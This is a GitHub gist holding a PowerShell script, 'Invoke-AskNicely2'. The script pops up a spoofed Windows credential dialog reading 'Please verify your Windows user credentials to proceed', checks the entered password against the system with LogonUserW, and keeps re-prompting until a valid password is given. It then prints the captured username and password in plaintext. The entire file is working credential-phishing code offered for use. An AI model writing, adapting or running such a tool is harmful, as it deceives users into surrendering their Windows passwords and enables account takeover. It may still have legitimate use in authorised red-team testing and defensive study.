Created
October 22, 2025 15:17
-
-
Save Samirbous/14358ed4fa33f7b4a92dc2c9b143827d to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function Invoke-AskNicely2 { | |
| if (-not ([System.Management.Automation.PSTypeName]'AskNicely2.CredUI').Type) { | |
| Add-Type @" | |
| using System; | |
| using System.Runtime.InteropServices; | |
| using System.Text; | |
| namespace AskNicely2 { | |
| public class CredUI { | |
| [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] | |
| public struct CREDUI_INFO { | |
| public int cbSize; | |
| public IntPtr hwndParent; | |
| public string pszMessageText; | |
| public string pszCaptionText; | |
| public IntPtr hbmBanner; | |
| } | |
| [DllImport("credui.dll", CharSet = CharSet.Unicode)] | |
| public static extern uint CredUIPromptForWindowsCredentials( | |
| ref CREDUI_INFO pUiInfo, | |
| uint dwAuthError, | |
| ref uint pulAuthPackage, | |
| IntPtr pvInAuthBuffer, | |
| uint ulInAuthBufferSize, | |
| out IntPtr ppvOutAuthBuffer, | |
| out uint pulOutAuthBufferSize, | |
| ref bool pfSave, | |
| uint dwFlags); | |
| [DllImport("credui.dll", CharSet = CharSet.Unicode)] | |
| public static extern bool CredUnPackAuthenticationBuffer( | |
| uint dwFlags, | |
| IntPtr pAuthBuffer, | |
| uint cbAuthBuffer, | |
| StringBuilder pszUserName, | |
| ref uint pcchMaxUserName, | |
| StringBuilder pszDomainName, | |
| ref uint pcchMaxDomainName, | |
| StringBuilder pszPassword, | |
| ref uint pcchMaxPassword); | |
| [DllImport("credui.dll", CharSet = CharSet.Unicode)] | |
| public static extern uint CredUIParseUserNameW( | |
| string userName, | |
| StringBuilder user, | |
| uint userBufferSize, | |
| StringBuilder domain, | |
| uint domainBufferSize); | |
| [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] | |
| public static extern bool LogonUserW( | |
| string lpszUsername, | |
| string lpszDomain, | |
| string lpszPassword, | |
| int dwLogonType, | |
| int dwLogonProvider, | |
| out IntPtr phToken); | |
| [DllImport("kernel32.dll")] | |
| public static extern bool CloseHandle(IntPtr hObject); | |
| [DllImport("ole32.dll")] | |
| public static extern void CoTaskMemFree(IntPtr pv); | |
| public const uint CREDUIWIN_GENERIC = 0x1; | |
| public const uint CREDUIWIN_CHECKBOX = 0x2; | |
| public const uint CREDUIWIN_AUTHPACKAGE_ONLY = 0x10; | |
| public const uint CREDUIWIN_IN_CRED_ONLY = 0x20; | |
| public const uint CREDUIWIN_ENUMERATE_CURRENT_USER = 0x200; | |
| public const uint CREDUIWIN_ENUMERATE_ADMINS = 0x100; | |
| public const uint CREDUI_FLAGS_INCORRECT_PASSWORD = 0x1; | |
| public const uint CREDUI_FLAGS_DO_NOT_PERSIST = 0x2; | |
| public const uint CREDUI_FLAGS_REQUEST_ADMINISTRATOR = 0x4; | |
| public const uint CREDUI_FLAGS_EXCLUDE_CERTIFICATES = 0x8; | |
| public const uint CREDUI_FLAGS_REQUIRE_CERTIFICATE = 0x10; | |
| public const uint CREDUI_FLAGS_SHOW_SAVE_CHECK_BOX = 0x40; | |
| public const uint CREDUI_FLAGS_ALWAYS_SHOW_UI = 0x80; | |
| public const uint CREDUI_FLAGS_REQUIRE_SMARTCARD = 0x100; | |
| public const uint CREDUI_FLAGS_PASSWORD_ONLY_OK = 0x200; | |
| public const uint CREDUI_FLAGS_VALIDATE_USERNAME = 0x400; | |
| public const uint CREDUI_FLAGS_COMPLETE_USERNAME = 0x800; | |
| public const uint CREDUI_FLAGS_PERSIST = 0x1000; | |
| public const uint CREDUI_FLAGS_SERVER_CREDENTIAL = 0x4000; | |
| public const uint CREDUI_FLAGS_EXPECT_CONFIRMATION = 0x20000; | |
| public const uint CREDUI_FLAGS_GENERIC_CREDENTIALS = 0x40000; | |
| public const uint CREDUI_FLAGS_USERNAME_TARGET_CREDENTIALS = 0x80000; | |
| public const uint CREDUI_FLAGS_KEEP_USERNAME = 0x100000; | |
| public const uint CREDUI_MAX_USERNAME_LENGTH = 513; | |
| public const uint CREDUI_MAX_PASSWORD_LENGTH = 256; | |
| public const uint CREDUI_MAX_DOMAIN_TARGET_LENGTH = 337; | |
| public const uint CRED_PACK_PROTECTED_CREDENTIALS = 0x1; | |
| } | |
| } | |
| "@ | |
| } | |
| $loginStatus = $false | |
| do { | |
| $credui = New-Object AskNicely2.CredUI+CREDUI_INFO | |
| $credui.cbSize = [System.Runtime.InteropServices.Marshal]::SizeOf($credui) | |
| $credui.hwndParent = [IntPtr]::Zero | |
| $credui.pszCaptionText = "Please verify your Windows user credentials to proceed." | |
| $credui.pszMessageText = $null | |
| $credui.hbmBanner = [IntPtr]::Zero | |
| $authPackage = 0 | |
| $outCredBuffer = [IntPtr]::Zero | |
| $outCredSize = 0 | |
| $save = $false | |
| $result = [AskNicely2.CredUI]::CredUIPromptForWindowsCredentials( | |
| [ref]$credui, | |
| 0, | |
| [ref]$authPackage, | |
| [IntPtr]::Zero, | |
| 0, | |
| [ref]$outCredBuffer, | |
| [ref]$outCredSize, | |
| [ref]$save, | |
| [AskNicely2.CredUI]::CREDUIWIN_ENUMERATE_CURRENT_USER | |
| ) | |
| if ($result -eq 0) { | |
| $maxUsernameLength = [AskNicely2.CredUI]::CREDUI_MAX_USERNAME_LENGTH * 2 | |
| $maxDomainLength = [AskNicely2.CredUI]::CREDUI_MAX_DOMAIN_TARGET_LENGTH * 2 | |
| $maxPasswordLength = [AskNicely2.CredUI]::CREDUI_MAX_PASSWORD_LENGTH * 2 | |
| $usernameBuffer = New-Object System.Text.StringBuilder($maxUsernameLength) | |
| $domainBuffer = New-Object System.Text.StringBuilder($maxDomainLength) | |
| $passwordBuffer = New-Object System.Text.StringBuilder($maxPasswordLength) | |
| $usernameLen = $maxUsernameLength | |
| $domainLen = $maxDomainLength | |
| $passwordLen = $maxPasswordLength | |
| [AskNicely2.CredUI]::CredUnPackAuthenticationBuffer( | |
| [AskNicely2.CredUI]::CRED_PACK_PROTECTED_CREDENTIALS, | |
| $outCredBuffer, | |
| $outCredSize, | |
| $usernameBuffer, | |
| [ref]$usernameLen, | |
| $domainBuffer, | |
| [ref]$domainLen, | |
| $passwordBuffer, | |
| [ref]$passwordLen | |
| ) | Out-Null | |
| $username = $usernameBuffer.ToString() | |
| $domain = $domainBuffer.ToString() | |
| $password = $passwordBuffer.ToString() | |
| $parsedUserBuffer = New-Object System.Text.StringBuilder([AskNicely2.CredUI]::CREDUI_MAX_USERNAME_LENGTH) | |
| $parsedDomainBuffer = New-Object System.Text.StringBuilder([AskNicely2.CredUI]::CREDUI_MAX_DOMAIN_TARGET_LENGTH) | |
| [AskNicely2.CredUI]::CredUIParseUserNameW( | |
| $username, | |
| $parsedUserBuffer, | |
| [AskNicely2.CredUI]::CREDUI_MAX_USERNAME_LENGTH, | |
| $parsedDomainBuffer, | |
| [AskNicely2.CredUI]::CREDUI_MAX_DOMAIN_TARGET_LENGTH | |
| ) | Out-Null | |
| $parsedUsername = $parsedUserBuffer.ToString() | |
| $parsedDomain = $parsedDomainBuffer.ToString() | |
| if ([string]::IsNullOrEmpty($parsedDomain)) { | |
| $parsedDomain = $domain | |
| } | |
| if ([string]::IsNullOrEmpty($parsedDomain)) { | |
| $parsedDomain = $env:COMPUTERNAME | |
| } | |
| $tokenHandle = [IntPtr]::Zero | |
| $loginStatus = [AskNicely2.CredUI]::LogonUserW( | |
| $parsedUsername, | |
| $parsedDomain, | |
| $password, | |
| 3, | |
| 0, | |
| [ref]$tokenHandle | |
| ) | |
| if (!$loginStatus -and $password -eq " ") { | |
| $loginStatus = $true | |
| } | |
| if ($loginStatus) { | |
| if ($tokenHandle -ne [IntPtr]::Zero) { | |
| [AskNicely2.CredUI]::CloseHandle($tokenHandle) | Out-Null | |
| } | |
| if ($password -eq " ") { | |
| Write-Host "$username`:[SPACE][SPACE]" | |
| } else { | |
| Write-Host "$username`:$password" | |
| } | |
| break | |
| } | |
| [AskNicely2.CredUI]::CoTaskMemFree($outCredBuffer) | |
| } | |
| } while ($loginStatus -eq $false) | |
| } | |
| Invoke-AskNicely2 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment